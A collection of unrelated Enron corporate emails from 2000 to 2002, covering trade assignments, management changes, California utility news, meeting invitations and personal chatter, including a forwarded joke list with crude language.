what are they.)

Are you currently doing business with them?  (If yes, please proceed to the
next question, if no, Please tell me why?)

Do you have any additional information that would assist me in doing
business with this company?

Is there any way you can respond as soon as possible, I would like to either
approve them or close this file.

Priscilla
Rex Trucking

A novation is just the European based format for doing an assignment...

	Tanya Rohauer/ENRON@enronXgate
	02/28/2001 02:45 AM
		 
		 cc: 
		 Subject: RE: Bankers Trust/Deutsche Bank

One more time... can you explain the difference between assignment and 
novation?  We expected them to assign all of the BT trades to DB didn't we?
From: Jones, Tana
To: Adams, Laurel; Aguayo, Janie; Allen, Kimberly; Anderson, Diane; Bell, 
Jean; Bowen, Bob; Brewer, Julie; Cason, Sharen; Cisneros, Celeste; Fischer, 
Jason; Garcia, Jorge; Hunter, Larry Joe; Hundl, Kimberly; Murphy, Melissa 
Ann; Ornelas, Bianca; Piwetz, Stephanie; Rodriguez, Melissa; Seib, Dianne; 
Theriot, Kim; Whalen, Melinda; Bradford, William S.; Brackett, Debbie; 
Rohauer, Tanya; Reves, Brant; Ngo, Tracy; Campbell, Lesli; Espinoza, 
Veronica; Radous, Paul; Lebrocq, Wendi; Diamond, Russell; Moran, Tom; Sacks, 
Edward; Mendoza, Nidia; Conwell, Wendy; Vanek, Darren; Johnson, Rudwell; 
Hendry, Brent; Shackleton, Sara; Taylor, Mark; St Clair, Carol; Bailey, 
Susan; Cook, Mary; Boyd, Samantha; Bruce, Robert; Panus, Stephanie; Sayre, 
Frank; Nelson, Cheryl; Leite, Francisco Pinto; Colbert, Marilyn; Ellstrom, 
Diane; Shivers, Lynn; Hare, Bill; Reeves, Leslie; Moore, Jason; Schott, 
Samuel; Campos, Anthony; Rodriguez, Bernice; Davis, Frank; Southard, Carrie; 
Ebow, Amber; Patel, Adnan; Richardson, Stacey; Lees, Lisa; Landau, Georgi; 
Johnson, Cheryl; Sever, Stephanie; Stevens, Mechelle
Sent: 2/27/2001 3:26 PM
Subject: Bankers Trust/Deutsche Bank

Deutsche Bank has gotten back to me and is vacillating on what they want
to do with the Bankers Trust trades.  In particular, they haven't
thought through what they want to do with the online trades, don't like
on online documentation, and now they think they may want to do a full
novation of the trades once they decide how to resolve this.  So, until
we hear back from them (they said in about a week), just let the Bankers
Trust financial trades and master sit.

Attached, in Word format, are the following documents with respect to the 
Tahiti transaction:

- Sale and Auction Agreement (255084);
- Trust Agreement of Tahiti Series Trust (254424);
- LLC Agreement of Fiji Z LLC (254423);
- Trust Agreement of Bali Trust (255146); and
- Subscription Documents (255729).

The documents have been revised to reflect many of the comments received to 
date; however, we realize that there are still a few open issues to be 
resolved.

 - 255729.doc
 - 254424.doc
 - 255084.doc
 - 255146.doc
 - 254423.doc

To help accomplish our business goals, the following management appointments 
are effective immediately:

Tod Lindholm, previously Managing Director - Chief Accounting Officer for 
EBS, will move to Corporate as Managing Director and assume responsibility 
for Business Risk Management, IT Compliance as well as working on a number of 
special assignments for Rick Causey, Executive Vice President - Chief 
Accounting Officer for Enron Corp.

John Echols, currently Managing Director - Risk Systems Development for EBS 
will assume responsibility for accounting and administration for EBS  as well 
as his current responsibilities and will report to the Office of the Chairman 
for EBS.

Everett Plante, currently Vice President - Chief Information Officer for EBS 
will now  report directly to the Office of the Chairman for EBS.

Here is the Murkowski energy bill that was introduced this morning, along 
with a section-by-section summary.

Meeting confirmations:

Friday December 15, at 10am in Mark's ofc EB3319 - Pre: Skilling Mtg, 
Attendees: Frevert, Whalley & McMahon.

Friday December 15 at 3:30pm in Skilling's ofc EB5007. - ENW Fund, Attendees: 
Skilling, Frevert, Whalley & McMahon.

Regards

Sue

The owner has requested a report for the month of January like the one you 
provided for Feb. What are your thoughts?
---------------------- Forwarded by Kurt Anderson/EWC/Enron on 03/28/2002 
02:26 PM ---------------------------

wcmarshall@aep.com on 03/28/2002 02:08:22 PM
To: Kurt.Anderson@enron.com
cc:  

Subject: Re: WR574 Wind and Turbine Data Clear Sky

Do you have this same data for January at Clear Sky?

Ward Marshall
Director, Business Development
AEP Energy Services, Inc.
1 Riverside Plaza
Columbus, OH 43215-2373

Office (614)324-6957
Fax (614)324-6994
Cell (614)314-5538
 
yo bro.  this is my new email address.  save it.
Aggie_chic02@hotmail.com.
Love you, lacy
______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com

Lavorato never let his people put their titles on business cards until they 
became managers. It doesn't really matter. I never really understood why he 
cared. I think they look more professional with titles. You should ask Jan.

Chris

---------------------- Forwarded by Carla Hoffman/PDX/ECT on 12/21/2000 09:31 
   
     12/21/2000 07:43 AM
	
cc:  
Subject: DJ PG&E: Util Has "Virtually Exhausted" Financial Resources

14:05 GMT 21 December 2000 DJ PG&E: Util Has "Virtually Exhausted" Financial
Resources
(This article was originally published Wednesday)
NEW YORK (Dow Jones)--With rate hike negotiations at a standstill and
forward supply talks in Washington yielding nothing, PG&E Corp.'s (PCG)
regulated utility subsidiary Pacific Gas and Electric Co. reiterated
Wednesday that it has "virtually exhausted its financial resources."
"We have been borrowing an average of $1 million per hour to pay for the
power we deliver to Californians," utility president Gordon Smith said in a
press release. "No company can continue to operate indefinitely under such
conditions."
Since May, PG&E has spent about $5 billion more on electricity than it gets
paid by its customers, but about a third of that amount has been paid into a
PG&E account for profits from the generators it still owns. The generation
profits, which for now are kept separate from other revenues, are expected
to be used to pay down the utility's debt.
PG&E and Edison International's (EIX) Southern California Edison have said
for two weeks that they could go bankrupt if they don't get a rate increase
immediately. Almost all of the utilities' bonds are recourse to the parent
Standard & Poor's analysts said Wednesday that the utilities' bonds will be
downgraded severely and immediately if a rate increase isn't agreed to this
week.
"Today's S&P conference call sends a message to Governor Davis and
California's leadership that now is the time for action," Smith said. "The
governor and the California Public Utilities Commission ultimately will
determine if Pacific Gas and Electric Company can continue to provide
essential services to the 14 million Californians in PG&E's service
territory."
The state's Public Utilities Commission is scheduled to meet Thursday on the
issue, and has listed on its agenda the possibility of increasing the
utilities' rates. California Gov. Gray Davis, state lawmakers and utility
executives were also working on a deal.
Those discussions were at a stalemate. There were no talks Wednesday, Davis
spokesman Steve Maviglio said, but the governor updated financial analysts
that consumers are inevitably going to face a rate hike.
Customers pay PG&E $54/MWh for energy, while SCE gets $66/MWh. Both
companies are paid additionally for transmission and distribution. The
utilities have told Davis that they need at least $20/MWh - a rate increase
of about 20% - more for electricity, but the governor wants to keep the
increase to about 10% of rates
S&P analysts said a 10% increase wouldn't be enough to keep the utilities
from defaulting, but the governor's office said an agreement wasn't likely
to be reached soon.
"There's not going to be a percentage deal announced," Maviglio said. "We're
going to ask for greater scrutiny of the utilities' claims."
Consumer groups dismissed the utilities' talk of bankruptcy as "crying
wolf."
"Edison wouldn't have issued a dividend on preferred stock last week if they
were going bankrupt," said Doug Heller of the Foundation for Taxpayer and
Consumer Rights.
But if they are really going bankrupt, the state should let them, Heller
said.
"Better a buyout than a bailout," Heller said. "They're not going bankrupt.
But if they do, the better outcome would be a public power system. Under
deregulation, (their inefficiency) it only gets worse."
Also Wednesday, negotiations on long-term supply contracts with western U.S.
electricity suppliers ordered by the Federal Energy Regulatory Commission
adjourned with little progress.
Such deals could have rescued the utilities from the astronomical prices of
the spot market, where power has been trading at $250 a megawatt-hour to
$600/MWh. Five-year supply contracts starting Jan. 1 have been trading at
about $80/MWh.
-By Mark Golden, Dow Jones Newswires; 201-938-4604; mark.golden@dowjones.com

(END) Dow Jones Newswires 12-21-00
0905EST Copyright (c) 2000, Dow Jones & Company Inc

computer.

The importance of all long term plans to build a comfortable life faded away 
into cloud of apathy and listfulness.  No cares anymore.  Just extract as 
much as possible from each experience never knowing where it might take you.  
Wow.  Such thought before used to scare the hell out of you.  But isn't it 
ironic to finally find out no matter how much you try to control each aspect 
of your existence, it could end up somewhere completely unforeseeable 
anyway.  You have no control.  No control.  So why try to control it.  Why 
not open yourself up to all those unknowns, those risks, those potential 
great failures.

We look at ICE volume reports every day and they are doing about 10-20% of the volumes (and # transactions) we are doing on EOL.   We are doing 300-350 transactions per day in East Power and ICE does approx. 45-50 transactions per day.

Candice:

Listed below are the individuals that will be attending the offsite, August 
18 -
20, 2000.

Stinson Gibner
P. V. Krishnarao
Grant Masson
Zimin Lu
Vasant Shanbhogue
Mike Roberts
Maureen Raymond Castaneda
Osman Sezgen
Samer Takriti

Regards,

Responsibility  for daily operations of building support services in the=20
Enron Building, Houston leased offices, and Two Pacific Place (Omaha) will =
be=20
transitioning from Corporate to Enron Energy Services (EES) by year-end.  T=
he=20
areas affected include facility operations and maintenance of mechanical,=
=20
electrical, and air-conditioning systems; mail delivery;  housekeeping; =20
food, copier, and records services.

This transition of services, as presently managed by Enron Property and=20
Services Corp. (EPSC), is designed to optimize value to Enron=01,s Business=
=20
Units by leveraging facility management businesses now offered by EES to=20
their commercial customers.  EPSC staff having administrative responsibilit=
y=20
for these services will report to Enron Facility Services, a subsidiary of=
=20
EES=01,s Global Energy Services group led by Daniel Leff, President and CEO=
.

EPSC is responsible for Enron=01,s internal real estate and office developm=
ent=20
needs, including leasing, space allocations and facility planning, project=
=20
and construction management, furniture systems, and office relocation.  EPS=
C,=20
in its development role, remains a part of Enron Corporate Administration=
=20
Services (ECAS) along with Corporate Security and the Aviation Department,=
=20
reporting to Bill Donovan, Vice President, Corporate Administrative Service=
s.

This alignment of responsibilities offers the opportunity for EPSC to focus=
=20
resources on effective utilization of our existing office space assets and=
=20
managing the development of Houston=01,s new Enron Center Campus project.

I put vacation days down for this coming weekend Saturday 26th, Sunday 27th & the following Thur the 31st. I would appreciate anyone's help and sorry about the short notice.
							Thanks-RC

Fax:  (713) 646-8537
Marie_Heard@Enron.net

	08/01/00 11:08 AM
		 
		 To: Marie Heard/Enron Communications@Enron Communications
		 cc: 
		 Subject: per your request...

Hi Tana,

I need to know where crude/liquids financial trades for  Valero should be 
traded under.    I was reading the comments on Lotus Notes, and it seems that 
there was an assignment from Valero Gas Marketing L.P. to Valero Marketing & 
Supply Company;  then it seems that the natural gas financial  trades were 
assigned to PG&E.   Can you please check on this.  If the information on 
Lotus Notes is correct please change the "Executed Master Agreeements" list 
to read Valero Marketing & Supply Company (for crude/liquids trades).  
Currently the list reads Valero Gas Marketing L.P.

Nidia
x3-4868
Credit Staff

You have received this email because you are listed as a security approver. 
Please click 
http://itcapps.corp.enron.com/srrs/auth/emailLink.asp?ID=000000000010212&Page=

Request ID          : 000000000010212
Request Create Date : 12/13/00 11:43:22 AM
Requested For       : chris.sanchez@enron.com
Resource Name       : EOL US Backoffice  Data Manager

Your names were not included on my distribution list.  Now it is...

adr

From: 	Robertson, Audrey  
Sent:	Thursday, September 20, 2001 7:53 AM
To:	Donoho, Lindy; Goradia, Pallavi; Harris, Steven; Kimberly Watson (E-mail); Lindberg, Lorraine; Lohman, TK; Lokay, Michelle; Moore, Jan; Pryor, Tony; Robertson, Audrey
Subject:	Contact List Update

Please review for accuracy.  Paul and Mark, please pass on to me your birthday (month/day).

adr

Susan asked that I send her revisions to you.  If you have any questions, you 
can call her at 425-1659.

--Melissa Phillips, Assistant to Susan Clark

This transmission is intended to be delivered only to the named addressee(s) 
and may contain information that is confidential, proprietary, attorney 
work-product or attorney-client privileged.  If this information is received 
by anyone other than the named addressee(s), the recipient should immediately 
notify the sender by E-MAIL and by telephone (850) 224-9634 and obtain 
instructions as to the disposal of the transmitted material.  In no event 
shall this material be read, used, copied, reproduced, stored or retained by 
anyone other than the named addressee(s), except with the express consent of 
the sender or the named addressee(s).  Thank you.

 - sfc draft.doc

On lunch, I've asked Twanda to reschedule.  thanks.  mhc

"Bill W. Ogden" <bogden@ogwb.com> on 11/07/2000 02:48:58 PM
Please respond to <bogden@ogwb.com>
To: "Michelle Cash" <michelle.cash@enron.com>
cc:  
Subject: Alonzo Williams

Hi Michelle -- just a reminder note that no one has told me to file the
Alonzo Williams petition. Have the powers that be decided to let this one
ride? And, more importantly, when can we reschedule lunch? Let me know;  --
Bill

Don't foul me - You know you mean to be a pain in the ass - it's your 
nature!!!!  Hope we can get together sometime this spring - D.C. if 
possible.  Have a good weekend.  Talk to you next week.
Ben

I think we are out of the stock price prediction business for now.  But, as Ken made clear we are performing better than ever in our core businesses, our growth prospects are superb, and the issues we face are well managed.  We should be positioned for a great period of growth.

From: 	Clark, Mary  
Sent:	Friday, August 24, 2001 10:32 AM
To:	Kean, Steven J.
Subject:	FW: post all employees meeting question

Steve, I don't think we want project our stock price at this point, right?  Jeff used to do this.  Your thoughts.

From: 	Sera, Sherri   On Behalf Of Office of the Chairman,
Sent:	Thursday, August 16, 2001 3:04 PM
To:	Clark, Mary
Subject:	post all employees meeting question

---------------------- Forwarded by Sherri Sera/Corp/Enron on 08/16/2001 03:03 PM ---------------------------

 << OLE Object: Picture (Device Independent Bitmap) >> 
Anonymous

To:	
cc:	 

I was watching the meeting from my desk.  If my question was asked and answered, I missed it and apologize for asking again.  This is a question that is traditionally asked at these meetings :

Ken,

Where do you think the stock price will be at the end of the year?

And you and your bride haven't set Dallas as a honeymoon destination???? =
=20
Your excuse seems to be a good one.  We will miss your presence and=20
participation, however.  Enjoy the wedding!!--Sally=20

John Paskin
01/26/2001 01:55 AM
To: Marvia Jefferson/HOU/ECT@ECT
cc: Sally Beck/HOU/ECT@ECT, Mike Jordan/LON/ECT@ECT=20
Subject: ASE on February 12-13, 2001 in Dallas, TX

Marvia

Unfortunately I am unable to attend (I am getting married). =20

Apologies

John
---------------------- Forwarded by John Paskin/LON/ECT on 26/01/2001 07:56=
=20
  =20
=09Enron Capital & Trade Resources Corp.
=09
=09From:  Sally Beck                           25/01/2001 23:31
=09

To: Bob M Hall/NA/Enron@Enron, Brent A Price/HOU/ECT@ECT, Leslie=20
Reeves/HOU/ECT@ECT, Mary Solmonson/HOU/ECT@ECT, Beth Perlman/HOU/ECT, Peggy=
=20
Hedstrom/CAL/ECT@ECT, James Scribner/Corp/Enron@Enron, Sheri=20
Thomas/HOU/ECT@ECT, William S Bradford/HOU/ECT@ECT, Brenda F=20
Herod/HOU/ECT@ECT, D Todd Hall/HOU/ECT@ECT, Thresa A Allen/HOU/ECT@ECT, Sco=
tt=20
Earnest/HOU/ECT@ECT, Kevin Sweeney/HOU/ECT@ECT, Todd Busby/NA/Enron@Enron,=
=20
Shona Wilson/NA/Enron@Enron, Robert Superty/HOU/ECT@ECT, Michelle=20
Bruce/HOU/ECT@ECT, Vanessa Schulte/Corp/Enron@Enron, Jennifer deBoisblanc=
=20
Denny/HOU/ECT@ECT, Mark Taylor/HOU/ECT@ECT, Wanda Curry/HOU/EES@EES, Laura =
E=20
Scott/CAL/ECT@ECT, Beth Apollo/HOU/ECT@ECT, Mike Jordan/LON/ECT@ECT, Steve=
=20
Whitaker/LON/ECT@ECT, John Paskin/LON/ECT@ECT, Richard Sage/LON/ECT@ECT,=20
Andrew Cornfield/LON/ECT@ECT
cc: Heather Choate/HOU/ECT@ECT, Chantelle Villanueva/HOU/ECT@ECT, Zionette=
=20
Vincent/NA/Enron@Enron, Marvia Jefferson/HOU/ECT@ECT, Cherylene=20
Westbrook/Enron@EnronXGate, Adrial Boals/Corp/Enron@Enron, Jennifer=20
Rosado/NA/Enron@ENRON, Yvette G Connevey/Corp/Enron@ENRON, Mercy=20
Gil/NA/Enron@Enron, Salisha Ramos/NA/Enron@Enron, Sue Foust/HOU/ECT@ECT,=20
Braedi Craig/NA/Enron@ENRON, Pamela Sonnier/HOU/ECT@ECT, Fiona=20
McNaught/LON/ECT@ECT=20

On January 12, I hosted a brainstorming session at the Four Seasons hotel i=
n=20
downtown Houston in which we assembled a number of ideas regarding mid and=
=20
back office services we could offer to the commodity industry.  To complete=
 a=20
plan for launching this strategic commercial venture, we are hosting an=20
integrated design session facilitated by Cap Gemini Ernst & Young (CGEY) at=
=20
their Accelerated Solutions Environment in Dallas, Texas. =20

I am personally extending an invitation to you to participate in this desig=
n=20
session.  This is a critical two-day event to be held February 12th and 13t=
h=20
in Dallas, Texas.   This work session is based on a unique approach called =
a=20
DesignShop=01v.  It is a very focused, activity-driven event that is compos=
ed of=20
various modules and exercises performed in small and large groups. If you=
=20
have not attended one of the DesignShops related to SAP, you will likely=20
regard this session as different from any working session you have previous=
ly=20
experienced. The prior DesignShops held in conjunction with SAP have proven=
=20
to be very successful.  Therefore, we have elected to utilize this same=20
methodology on this very critical and strategic venture.

A limited number of representatives from Enron will be attending.  You were=
=20
selected to be one of approximately 30 key individuals to participate in th=
e=20
DesignShop. You are being asked to participate in the full two days with as=
=20
little distraction or interruption as possible.  The quality of our results=
=20
depends on each participant being fully engaged and participative for the=
=20
entire event.   Additionally, you will be relied on in the future to suppor=
t=20
and communicate our commercial strategy as it is defined at this session. =
=20
This date was specifically selected to avoid critical operational periods s=
o=20
that your participation can be maximized. Therefore, please make all=20
necessary arrangements at the office to minimize your distractions during=
=20
these two days.

Please review the attached information regarding hotel, flight information,=
=20
and transportation.  Preliminary information as to schedule and environment=
=20
has also been included.  You may direct any additional questions concerning=
=20
the event to Mary Solmonson at (713)-853-6079.

I hope that you will be able to participate.  Please confirm your attendanc=
e=20
for the two days with Marvia Jefferson at 713-853-9165 by January 29th 5:00=
=20
p.m.  If you are unable to attend, it may be appropriate to select someone=
=20
else to participate.  Please do not extend an invitation to anyone else to=
=20
take your place until you and I have discussed this.

I thank you in advance for your participation and look forward to seeing yo=
u=20
in Dallas!

Shona,

I printed 12/4 consolidated report for Sally.  It is again very small.  Any 
possibility that you can change format to enlarge (very large margins).  I 
can go in every time & reformat, but it seems a waste of time to do every 
time when you can just change your template once.

PT

	From:  Shona Wilson @ ENRON                           12/05/2000 05:42 PM
	
To: Leslie Reeves/HOU/ECT@ECT, Mike Jordan/LON/ECT@ECT, James 
New/LON/ECT@ECT, Peggy Hedstrom/CAL/ECT@ECT
cc: Kelly Tisman/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Mike 
Perun/NA/Enron@Enron, Jefferson D Sorenson/HOU/ECT@ECT, Sally 
Beck/HOU/ECT@ECT, Brent A Price/HOU/ECT@ECT, Christy Lobusch/HOU/EES@EES 
Subject: global standards needs assessment

Here is the draft of the needs assessment for global standards.  Please give 
me your input.  Kelly is devoting 100% of her time to putting together an 
access database to report these standards.

Also, here is a consolidated view of A01 for 12 /04.

Thanks

Shona

Jana Phillips
Marketing Manager
New York Mercantile Exchange
1000 Louisiana Street, Suite 1095

Phone: (713) 658 9296
Fax  : (713) 658 9393
Jlpnymex@aol.com

01:36 PM ---------------------------

"FT.com" <ft.com.special@newsbyemail.ft.com> on 10/09/2000 09:28:09 PM
To: "FT.com Users":;
cc:  (bcc: Vince J Kaminski/HOU/ECT)
Subject: FT.com is now faster, easier, more efficient

Attention:   FT.com Users -
FT.COM SITE NOW DELIVERS THE INFORMATION YOU NEED - FASTER

FT.com has updated key pages that our users visit most frequently
* News and analyses
* Markets information
* Industry news

The site retains most of its look and feel but should download onto your
desktop more quickly.  Four prominent buttons at the top of every page provide
immediate access to index pages for news, markets, industries and companies. 
We
bring you hour by hour update on global story headlines -  political and
economic, with business highlights, key market developments as well as the
latest corporate news. New index pages link directly from the home page - you
can find your way to individual companies or groupings by region from the head
of every page.

So if you haven't visited the site for some time we urge you to revisit us
today and judge these improvements for yourself. And if you rely on this site
as your primary business information source every day, we hope you will agree
that the enhancements make keeping on top of global trends easier - and more
efficient.  If you have the time, please send us your comments: e-mail
editor.ftcom@ft.com.

Go straight to the new FT.com at:
http://www.ft.com/cgi-bin/ft/site_track.pl?id=simp&page=http://www.ft.com

FT.com has come up with a fun way for you to squeeze a little light relief 
into
your working day.  It's called the Wall Street Dash.  Take a break and
challenge yourself - and your colleagues - on FT.compete.  Play the game and
test your keyboard skills to win one of five Palm Pilot Vx prizes.

Stay ahead with FT.com and give yourself a competitive edge!
http://www.ft.com/ftcompete

FT.com

PS:  The Financial Times newspaper has a sharper look too this week, with new
features for UK and around the world; as well as more coverage of European and
global business.  Additions include a weekly review of business law and a pick
of the weekend's big sporting events.  Plus every Tuesday, a new supplement,
Creative Business, offers stylish, hard-edged news and views on media, design
and communications.

Please review for credit approval.

Thanks!

El Paso #477229

Strategic #477226

I have been out of the office at the Orange Bowl game and have just returned 
within the last hour.  That probably would make next week better for me than 
this week.  Give me a call and we will set something up.  My number is 
x35926.  If you don't reach me, call my temp assistant (Camella - x39106) and 
she will be able to set  up a meeting.  Thanks.  

Kim Stanley@ENRON
01/02/2001 10:05 AM
cc:  
Subject: rotation

Sally,
 We met in December to discuss my PRC and towards the end of our meeting, I 
had asked if you might have some time to discuss recommended rotations.  
Would you have any time this week to give me some recommendations?
Thanks,
Kim Bergen
35463

i should have given you some cards to pass out to the hotties.

From: 	Lisk, Daniel  
Sent:	Thursday, June 07, 2001 7:27 PM

I have no fears...the bet stands.

You should get to know Vivian Krauchek, with Dynegy Canada Gas Marketing Ltd..  I'd like to!

From: 	Lenhart, Matthew  
Sent:	Thursday, June 07, 2001 2:16 PM
To:	Lisk, Daniel
Subject:	

i will let you out of the bet for $20

Good Afternoon!

Cheryl is leaving directly from her meeting at GSS to attend to a personal appointment.  She will return to the office at her regularly scheduled time, tomorrow.  Thanks,

Keegan

Sorry I left the above out of the first email.  Attached is the latest and greatest taken from Winflow.  There is a possibility of elimianting Bloomfield unit #5 but don't have time to consider now.  Time crunch!  Will look at later.  If this flies as is then any cost cut later is gravy.  Will run a transient later to look at swings.

Ron Matthews

Pierre-Philippe,

I was under the impression the presentation will be at 3:30. 11:30 is fine 
with me
but want to confirm it.

Vince

"Pierre-Philippe Ste-Marie" <stemarie@icubed.com> on 10/28/2000 12:22:36 AM
To: <jiangz@andrew.cmu.edu>, <tyap@andrew.cmu.edu>, <yangw@andrew.cmu.edu>, 
<htanaka@andrew.cmu.edu>, <heapho@andrew.cmu.edu>, <ginas@andrew.cmu.edu>, 
"Pierre-Philippe Ste-Marie" <ps5@andrew.cmu.edu>, <orchuma@andrew.cmu.edu>, 
"punit rawal" <prawal@andrew.cmu.edu>, <fqian@andrew.cmu.edu>, 
<pozgediz@andrew.cmu.edu>, <cwl@andrew.cmu.edu>, <hiroshi2@andrew.cmu.edu>, 
<sdj@andrew.cmu.edu>, <khowes@andrew.cmu.edu>, <tholden@andrew.cmu.edu>, 
<kheo@andrew.cmu.edu>, <aeh@andrew.cmu.edu>, <kgarrett@andrew.cmu.edu>, 
<ignaciod@andrew.cmu.edu>, <eac3@andrew.cmu.edu>, <ketan@andrew.cmu.edu>, 
<tb2p@andrew.cmu.edu>
cc:  
Subject: MSCF Speaker Series

MSCF SPEAKER SERIES
OFFICIAL  INVITATION
?
?
 
IT IS WITH GREAT PLEASURE AND SOME AMOUNT OF  PRIDE THAT I ANNOUNCE THE NEXT 
EVENT IN THE SPEAKER SERIES. NEXT FRIDAY WE WILL  HAVE THE HONOR TO HOST A 
CONFERENCE GIVEN BY MR. VINCE KAMINSKI HEAD OF RESEARCH  AT ENRON CORP.? 
?
THE?SIXTH EVENT IS?NEXT FRIDAY (Nov  3rd)!?  
From: 11.30-13.30
please attend!!!

The Next Event in the  
Student Speaker Series is: 

Friday, November 3, 2000

11:30 a.m. to 12:30  p.m. Fast Lab 

[IMAGE]Vince  Kaminski

Tentative Student Speaker Series Schedule 2000-2001 

The following is a tentative schedule of the MSCF Student Speaker Series for  
the 2000-2001 academic year. All events take place from 11:30 a.m. to 12:30 
p.m.  in the Fast Lab (GSIA 229) unless otherwise noted. Updates are soon to  
follow.

Volatility Curve and Bond Basis  
August 11, 2000
David Hartney & Jerry Hanweck
Vice  President, Futures and Option Sales & Head of North American Futures 
and  Options Research; J. P. Morgan

Price and Hedging Volatility  Contracts 
September 1, 2000
Dmitry  Pugachevsky
Deutsche Bank

Dmitry Pugachesky is a Director with OTC  Derivatives Research of Deutsche 
Bank, where his research is primarily focussed  on credit derivatives. Prior 
to joining Deutsche Bank, Dmitry worked for six  years with Global Analytics 
Group of Bankers Trust. There he developed models  for emerging markets, 
interest rates, and equity derivatives and also  participated in actual 
trading and structuring of interest rate options. He  received his PhD in 
applied mathematics from Carnegie Mellon University  specializing in control 
theory for stochastic processes. He has published  several papers on 
modelling in emerging markets and on valuation for passport  options.  

A Measurement Framework for Bank Liquidity  Risk 
September 15, 2000
Raymond Cote
Vice  President, FinRad Inc.

Raymond Cote is Vice President, Financial  Engineering at FinRad Inc., a 
Montreal-based consulting firm offering financial  management solutions that 
combine advisory and systems development services to  &corporations and 
financial institutions.

Abstract:

Liquidity  risk, as opposed to credit and market risks, has received little 
attention in  professional or academic journals. We argue that analyzing bank 
liquidity risk  can be viewed as a variation of credit risk analysis. After 
introducing some  concepts and definitions, the presentation defines a 
framework allowing to  measure a bank's structural liquidity risk. It then 
shows that combining the  framework with modern credit risk measurement tools 
leads to a liquidity risk  VAR measure. The presentation then offers 
concluding comments on the integration  of the liquidity risk measurement 
framework within enterprise-wide risk  management.

The Impact of Electronic Trading on the Uses  of Quantitative Research in 
Equity Options 
September 22,  2000
Scott Morris
Hull Group, Quantitative Research Department  

Quantitative Research in Investment  Management 
October 6, 2000
Raman Srivastava  & Anna Bulkovshteyn
Assistant Vice President, & Fixed Income,  Quantitative Analysts, Putman 
Investments

[IMAGE]
TBA 
November 3,  2000

Fund Management and Market  Efficiency 
November 10, 2000
Andrea  Dalton
Researcher, Friess Associates 
(advisor to the Brandywine  Funds).

TBA 
November 17,  2000
Jeff Keifer & Deb
AEP

Tutorial on BRIDGE  
November 24, 2000
Pierre Ste-Marie & Punit  Rawal
MSCF Students

A Corporate Risk Management  Framework 
December 8, 2000
Darin Aprati &  Brian Moore
McDonald's

[IMAGE]Math Speaker  Series Schedule 2000-2001
[IMAGE]Speaker Series Student  Committee
[IMAGE]Previous Speakers

?
 
Pierre-Philippe  Ste-Marie
[IMAGE]http://pstemarie.homestead.com

I think number 5 especially applies to you boys.

---------------------- Forwarded by Kate Symes/PDX/ECT on 11/16/2000 05:00 PM 

Kristian J Lande

11/16/2000 05:01 PM

cc:  

Subject: Fwd: 27 things you wish you could say at WORK

______________________________ Forward Header
__________________________________
Subject: 27  things you wish you could say at WORK
Author:  Lettie Favela at frb-branch-2
Date:    11/10/00 5:22 PM

> THE 27 TOP THINGS YOU WISH YOU COULD SAY AT WORK
> 1.   I can see your point, but I still think you're full of shit.
> 2.   I have plenty of talent and vision. I just don't give a fuck.
> 3.   How about "never"? Is "never" good enough for you?
> 4.   It sounds like English, but I can't understand a word you're saying.
> 5.   I see you've set aside this special time to humiliate yourself in
>      public.
> 6.   Ahhh, I see the fuck-up fairy has visited us again.
> 7.   You are validating my inherent mistrust of strangers.
> 8.   Stop, I'm already visualising the duct tape over your
       mouth.
> 9.   The fact that no one understands you doesn't mean you're an artist.
> 10.  Someday, we'll look back on this, laugh nervously and change the
>      subject.
> 11.  I will always cherish the initial misconceptions I had about you.
> 12.  I don't know what your problem is, but I'll bet it's hard to
>      pronounce.
> 13.  Any connection between your reality and mine is purely coincidental.
> 14.  I like you. You remind me of when I was young and stupid.
> 15.  What am I? Flypaper for freaks!?
> 16.  I'm not being rude. You're just insignificant.
> 17.  Thank you. We're all refreshed and challenged by your unique point of
>      view.
> 18.  It's a thankless job, but I've got a lot of Karma to burn off.
> 19.  Yes, I am an agent of Satan, but my duties are largely ceremonial.
> 20.  No, my powers can only be used for good.
> 21.  I'm really easy to get along with once people learn to worship me.
> 22.  You sound reasonable......time to up my medication.
> 23.  I'll try being nicer if you'll try being smarter.
> 24.  I'm out of my mind, but feel free to leave a message.
> 25.  I don't work here. I'm a consultant.
> 26.  Who me? I just wander from room to room.
> 27.  My toys! My toys! I can't do this job without my toys.
       So just leave them alone before you make them want to
       leave as well.

> Useful Expressions for those HIGH STRESS days
> 1.   Well, aren't we just a ray of fucking sunshine?
> 2.   Not the brightest crayon in the box now, are we?
> 3.   Do I look like a fucking people person?
> 4.   This isn't an office. It's Hell with fluorescent lighting.
> 5.   I pretend to work. They pretend to pay me.
> 6.   You!!! Off my planet!!
> 7.   Practice random acts of intelligence & senseless acts of
>      self-control.
> 8.   I like cats too. Let's exchange recipes.
> 9.   Did the aliens forget to remove your anal probe?
> 10.  And your crybaby whiny-assed opinion would be...?
> 11.  How many times do I have to flush before you go away?
> 12.  Aw, did I step on your poor little itty bitty ego?
> 13.  How do I set a laser printer to stun?
> 14.  I'm not tense, just terribly, terribly alert.
> 15.  When I want your opinion, I'll give it to you.
> 16.  Earth is full, please go home.
>
>
>

----- Forwarded by Richard B Sanders/HOU/ECT on 12/01/2000 07:56 AM -----

	Steve C Hall
	10/30/2000 05:38 PM
		 
		 To: Elizabeth Sager/HOU/ECT@ECT, Richard B Sanders/HOU/ECT@ECT
		 cc: Christian Yoder/HOU/ECT@ECT
		 Subject: Confidential Memo For Thursday Meeting

Richard and Elizabeth,

At Christian's suggestion, I am sending a memo I prepared summarizing some of 
the more exotic strategies used by our traders.  Christian has reviewed the 
memorandum and believes that it will assist you both in preparing for our 
Thursday meeting.  Between now and Thursday, Christian and I are going to 
analyze the ISO tariff to determine if the tariff prohibits any of these 
strategies.

Steve

From: Allison Tawa <geeteein@pacbell.net>
To: Mark Guzman <guzman27@email.msn.com>; Jason Brown
<Lilchocolate71@hotmail.com>
Sent: Wednesday, August 02, 2000 1:12 PM
Subject: Photos 3 of 3

>
>

----

 - Waterfalls (Oregon).JPG

Here is some good lunch time reading.  I have taken interest in this as of 
late.  Thought you might be interested . . .

Article:
http://science.nasa.gov/headlines/y2002/11jun_spaceship.htm

This program looks to work well for tracking Shuttle progress and selecting
a time to watch:
http://spaceflight.nasa.gov/realdata/sightings/

Good day
Matt Meyers 

Attached is our upcoming Speaker's Luncheon. We look forward to seeing you
there....

 - Kinder 10-30-2001.doc 

Sac Bee, Wed, 6/13:  FERC weighs wider energy price controls

Sac Bee, Wed, 6/13: FERC weighs wider energy price controls

